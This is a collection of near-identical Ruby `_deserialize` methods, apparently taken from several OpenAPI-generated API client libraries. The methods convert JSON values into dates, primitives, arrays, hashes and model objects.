"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Fastly.const_get(type)\n klass.respond_to?(:fastly_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Fastly.const_get(type)\n klass.respond_to?(:fastly_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Fastly.const_get(type)\n klass.respond_to?(:fastly_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Fastly.const_get(type)\n klass.respond_to?(:fastly_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n ::DateTime.parse(value)\n when :Date\n ::Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Models.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n ::DateTime.parse(value)\n when :Date\n ::Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Models.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Hubspot::Cms::Performance.const_get(type)\n klass.respond_to?(:openapi_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = SmoochApi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Tradenity.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Tradenity.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = SamplifyAPIClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = OpsgenieClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = LemonWayClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = BudgeaClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = BudgeaClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n Nodeum.const_get(type).build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TextMagic.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TextMagic.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TextMagic.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n Date.parse value\n when :Date\n Date.parse value\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else\n # model\n temp_model = GroupDocsViewerCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n Date.parse value\n when :Date\n Date.parse value\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else\n # model\n temp_model = GroupDocsViewerCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n Date.parse value\n when :Date\n Date.parse value\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else\n # model\n temp_model = GroupDocsViewerCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
